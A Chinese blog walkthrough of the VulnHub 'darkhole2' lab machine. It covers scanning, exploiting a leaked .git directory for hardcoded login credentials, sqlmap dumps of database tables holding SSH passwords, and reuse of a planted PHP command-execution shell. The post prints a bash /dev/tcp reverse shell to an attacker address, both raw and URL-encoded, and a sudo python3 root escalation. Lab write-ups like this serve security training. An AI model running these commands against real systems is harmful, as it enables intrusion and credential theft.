.git文件泄露的一次渗透darkhole2

最新推荐文章于 2024-04-23 10:42:07 发布
最新推荐文章于 2024-04-23 10:42:07 发布
阅读量1.1k 收藏 7
点赞数
分类专栏： 从入门到入狱 文章标签： git intellij-idea java web安全 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_18980147/article/details/127154698
版权

darkhole2通关过程

这是一个困难难度的靶场，通过不小心泄露的.git文件收集信息，再利用漏洞脱库登录，最后利用rce漏洞进行提权。也可以用通用来打。

信息收集

扫描靶机ip

nmap -sP 192.168.3.1/24

在这里插入图片描述

靶机ip为192.168.3.130

对靶机端口进行全面扫描

nmap -p 1-65535 -A 192.168.3.130

在这里插入图片描述

只扫出了80和22端口

访问192.168.3.130

在这里插入图片描述

目录收集

python dirsearch.py -u http://192.168.3.130/

在这里插入图片描述

查看扫描报告搜集出请求成功的路径

200     3KB  http://192.168.3.130/.git/
200   130B   http://192.168.3.130/.git/config
200     4KB  http://192.168.3.130/.git/hooks/
200    41B   http://192.168.3.130/.git/COMMIT_EDITMSG
200    23B   http://192.168.3.130/.git/HEAD
200     1KB  http://192.168.3.130/.git/index
200   240B   http://192.168.3.130/.git/info/exclude
200   554B   http://192.168.3.130/.git/logs/HEAD
200     1KB  http://192.168.3.130/.git/logs/
200   554B   http://192.168.3.130/.git/logs/refs/heads/master
200   948B   http://192.168.3.130/.git/info/
200     6KB  http://192.168.3.130/.git/objects/
200     1KB  http://192.168.3.130/.git/refs/
200    41B   http://192.168.3.130/.git/refs/heads/master
200     1KB  http://192.168.3.130/.idea/
200   279B   http://192.168.3.130/.idea/modules.xml
200     2KB  http://192.168.3.130/.idea/workspace.xml
200    73B   http://192.168.3.130/.git/description
200   943B   http://192.168.3.130/config/
200    11B   http://192.168.3.130/dashboard.php
200   931B   http://192.168.3.130/js/
200     1KB  http://192.168.3.130/login.php

主要存在目录

/.git
/.idea
/config
/dashboard.php
/js
/login.php

.git代码管理仓库的文件，应该是开发不小心提交上来的可能会造成git信息泄露

.idea一个java开发工具的配置文件，应该没什么用

对目录按顺序进行信息收集首先是/.git

在这里插入图片描述

利用.git文件泄露获取更多信息

python2 GitHack.py http://192.168.3.130/.git/

在这里插入图片描述

到生成的仓库中查看git的log日志

git log

在这里插入图片描述

最新版本记录i changed login.php file for more secure增加了安全性，想知道他增加了什么安全防护，对比版本差异

git diff a4d900a8d85e8938d3601f3cef113ee293028e10

在这里插入图片描述

，发现login.php删去了一段代码有默认的账号密码，开发人员有时候为了方便会写死在代码里的。

if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){

而且新增的login.php的代码对sql注入做了防护，login页面的sql注入应该是不行了

$email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email']));
$pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password']));
$check = $connect->query("select * from users where email='$email' and password='$pass' and id=1");
if($check->num_rows){

然后大致看了下目录下获取到的源码，在config目录下的config.php文件中获取到了一段数据库的泄露信息，知道了账号和连接的数据库密码为空

<?php
$connect = new mysqli("localhost","root","","darkhole_2");

有了这两个信息直接进入到渗透阶段，在渗透中再进行信息收集

渗透阶段

直接到登录页面，用之前删掉代码里的账号密码进行登录

lush@admin.com
321

在这里插入图片描述

登录成功

它的地址为

http://192.168.3.130/dashboard.php?id=1

因为刚打完darkhole1这个地址很熟悉，跑一下有没有sql注入

在这里插入图片描述

源码代码审计是根据session判断，cookie中必须携带sessionid即PHPSESSID

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch

在这里插入图片描述

扫到了时间盲注和UNION注入

爆库

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch --dbs

在这里插入图片描述

爆表

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 --tables

在这里插入图片描述

ssh表脱库

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 -T ssh --dump

在这里插入图片描述

users表脱库

sqlmap -u "http://192.168.3.130/dashboard.php?id=1" --cookie="PHPSESSID=vk279ou61073riaf1mdo5j0d42" --dbms="MYSQL" --batch -D darkhole_2 -T users --dump

在这里插入图片描述

既然拿到了ssh的账号密码直接进行登录

ssh jehad@192.168.3.130

在这里插入图片描述

查看当前用户可运行的命令或文件，结果没权限，还要切换其他具有sudo权限的用户进行提权

sudo -l

在这里插入图片描述

提权阶段

查看可以提权的用户

cat /etc/passwd | grep /bin/bash

在这里插入图片描述

到他的home目录下看看

在.bash_history文件看见了很多疑似远程命令执行的语句

history命令也看见了同样的命令

在这里插入图片描述

浅试一下复制一条上面的命令

curl "http://127.0.0.1:9999/?cmd=id"

在这里插入图片描述

果然可以，这个jehad是个hack已经黑掉写入了木马，利用它的就好了

查看定时任务

cat /etc/crontab

在这里插入图片描述

可以看到这个定时任务是每分钟到/opt/web目录下开端口9999的web服务

去/opt/web目录看看，其中有个index.php,证实了是rce

<?php
echo "Parameter GET['cmd']";
if(isset($_GET['cmd'])){
echo system($_GET['cmd']);
}
?>

因为localhost访问不到属于局域网，对9999端口转发到本地

ssh -L 9999:127.0.0.1:9999 jehad@192.168.3.130

在这里插入图片描述

可以成功访问了
在这里插入图片描述

建立反弹连接，因为这个用户是losy当用这个rce反弹shell，获得的对象就是losy

需要开启kali监听

nc -lvvp 7777

反弹shell(需要url编码)

bash -c 'bash -i >& /dev/tcp/192.168.3.128/7777 0>&1'

bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.128%2F7777%200%3E%261'

访问

http://127.0.0.1:9999/?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.3.128%2F7777%200%3E%261%27

成功拿到losy的权限

在这里插入图片描述

看看losy的history都做了什么，在history中发现泄露密码等重要信息，以及存在python环境，和一段提权的执行代码

history

在这里插入图片描述

losy是有sudo权限的

在这里插入图片描述

查看losy可以运行的文件或命令，需要密码刚刚获取到了gang

sudo -l

在这里插入图片描述

python3有root权限直接sudo python命令提权

sudo python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

tpaer
关注
  • 0
    点赞
  • 踩
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
git信息泄露漏洞
qq_50854662的博客
09-09 1032
git信息泄露漏洞 当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当，可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。 危害 攻击者可以利用该漏洞下载git文件夹里的所有内容。如果文件夹内有敏感信息比如站点源码、数据库账...
VulnHub-DarkHole_2靶机实战(超详细保姆级教程)
精品博客,你值得一看~
08-13 3579
记得我们查看过9999端口运行的程序，当我们看到源代码的内容时，我们看到这允许远程命令执行。bash -c ‘bash -i >& /dev/tcp/192.168.184.156/9001 0>&1’ #记得修改你的IP。id=1' and 1=2 --+ #页面信息消失,说明id的闭合为单引号。到此,我们就可以进行ssh连接了.下面是拓展工具注入的方式.着急看结果的宝宝们可以直接移步下面的ssh连接步骤.
Git泄露
最新发布
cyy001128的博客
04-23 1329
通过git stash存储的修改列表，可以通过git stash list查看，git stash show用于校验，git stash apply用于重新存储，直接执行git stash等同于git stash save，执行 git stash pop 是恢复文件。前几步大致相同，都是用dirsearch扫描是否存在git漏洞，然后打开githack连接，后面则是分为git log，git stash和git index几种。用git reset --hard 回退版本，打开文件夹可找到flag。
Git泄露_Log
Mr_admin的博客
09-23 1991
刚开始的时候不知道git命令，直接百度。做后确定命令格式为：python2 GitHack.py http://challenge-4e45df1c40b42551.sandbox.ctfhub.com:10800/.git/当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。我用的是新版kali环境做的题目（kali日期为2022-3，这个版本安装了python2和python3。后面使用命令要注意，我在这里踩坑了。先是捣鼓git软件怎么使用。
VulnHub-DarkHole_ 2靶机详细渗透过程
MRS_jianai的博客
12-29 1008
VulnHub-DarkHole: 2靶机详细渗透过程
darkhole_2靶机打靶过程及思路
qq_52610024的博客
06-25 571
6.使用3493进行提权失败，查看账号目录下的.bash_history，提示发现命令执行，且提示开放了9999。7.发现该账号的命令执行历史记录下提示存在该账号存在sudo权限，输入history记录下的密码，成功执行。4.发现后台页面url地址上有id=1，推测存在sql注入，手工进行union联合注入，得到账号密码。再次查看login.php，里面存在默认用户名和密码，回到首页登录成功，成功进入后台。，访问该路径，成功执行命令，执行反弹语句，成功拿到losy账号权限。成功得到root账号的权限。...
nginx禁止访问.git文件的设置教程
09-30
**Nginx 禁止访问 .git 文件的设置教程** 在现代的Web开发中，Git已经成为项目管理和版本控制的标准工具。然而，如果一个网站的源码是通过Git进行协作开发的，.git目录可能会被意外地暴露在互联网上。这个目录包含...
windows git 删除版本控制 清理.git文件夹 批量处理
09-10
Windows系统条件下，批量清除git版本管理配置文件，批量删除.git文件夹 使用方法：下载将该脚本文件，拷贝到要清除的项目的文件夹目录下，双击bat文件即可。
Bonobo.Git.Server
06-06
首先，下载Bonobo.Git.Server的安装包，包含了一系列文件，如`.bowerrc`、`.cshtml`等，这些都是应用程序运行所需的配置和编译后的视图文件。`.bowerrc`是Bower的配置文件，用于管理前端依赖。`.cshtml`文件是基于...
githack泄露利用_softlysu3_ctfgithack_githack_CTF之.git泄露_githack下载_
10-03
GitHack 是一个针对 `.git` 目录泄露的利用工具，主要用于网络安全竞赛（CTF，Capture The Flag）中的Web安全领域。`.git` 目录是Git版本控制系统的一部分，通常包含项目的完整历史记录和敏感信息，如源代码、配置...
IDEA中过滤提交到.git的配置文件
03-30
IDEA中过滤提交到.git的配置文件
git泄露查询
10-31
对github的泄露信息进行检索查询，可以用于信息收集，资产探测。
CTFHUB-WEB-信息泄露
K_ShenH的博客
06-12 497
CTFHub-Web-信息泄露
git泄露
2401_82388450的博客
04-16 1503
git log --pretty=oneline //加参，简洁查看$ git reflog //查看每一次修改历史$ cat test.txt //查看文件内容$ git status //查看工作区中文件当前状态。
.Git 仓库敏感信息泄露
qq_40898302的博客
10-17 292
Git是由林纳斯·托瓦兹（Linus Torvalds）命名的，它来自英国俚语，意思是“混账”，Git是一个分布式版本控制软件，最初由林纳斯·托瓦兹（Linus Torvalds）创作，于2005年以GPL发布。最初目的是为更好地管理Linux内核开发而设计。Git最初只是作为一个可以被其他前端（比如CoGito或StGit）包装的后端而开发的，但后来Git内核已经成熟到可以独立地用作版本控制。很多著名的软件都使用Git进行版本控制，其中包括Linux内核、X.Org服务器和OLPC内核等项目的开发流程。
谈一下web源码泄露
weixin_52501704的博客
10-27 1304
谈一下web源码泄露
git泄露总结
爱党人士
07-13 6815
.git文件夹分析 文件夹分析 hook:存放一些sheel的地方。 info:存放仓库的信息 object:存放所有git对象的地方 refs:存放提交hash的地方 config:github的配置信息 description：仓库的描述信息，主要给gitweb等git托管系统使用 HEAD:映射到ref引用，能够找到下一次commit的前一次哈希值 0x01 资料 git是一套内容寻址文件...
如何利用.git文件夹下载整个网站泄漏的源码
公众号shadow sock7
10-29 2763
参考： https://www.jianshu.com/p/edae09535ea3 完整命令： wget -r -p -np -k http://www.xxx.com/.git/ #先递归批量下载.git目录 git log #查看网站的提交记录 git reset --hard [log hash] #恢复到指定版本号 其中--recursive（递归） -k, --convert-lin...
.git文件怎么用
05-26
.git文件是Git版本控制系统所使用的文件，它包含了项目的所有版本信息和历史记录。如果你想要使用.git文件，通常需要执行以下步骤： 1. 在本地计算机上安装Git。你可以从Git官方网站下载适合你操作系统的Git安装程序。 2. 打开终端或命令行界面，进入你想要将.git文件关联的项目目录。 3. 执行以下命令来初始化Git仓库： ``` git init ``` 4. 将.git文件拷贝到你想要关联的项目目录下。 5. 执行以下命令将.git文件与项目关联： ``` git add . git commit -m "Initial commit" ``` 这样，你就可以使用Git来管理你的项目了。你可以使用Git命令来添加、提交、推送、拉取、分支等等操作。在使用Git时，你需要仔细学习Git的工作原理和命令，以确保你能够有效地管理你的项目并避免意外的错误。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值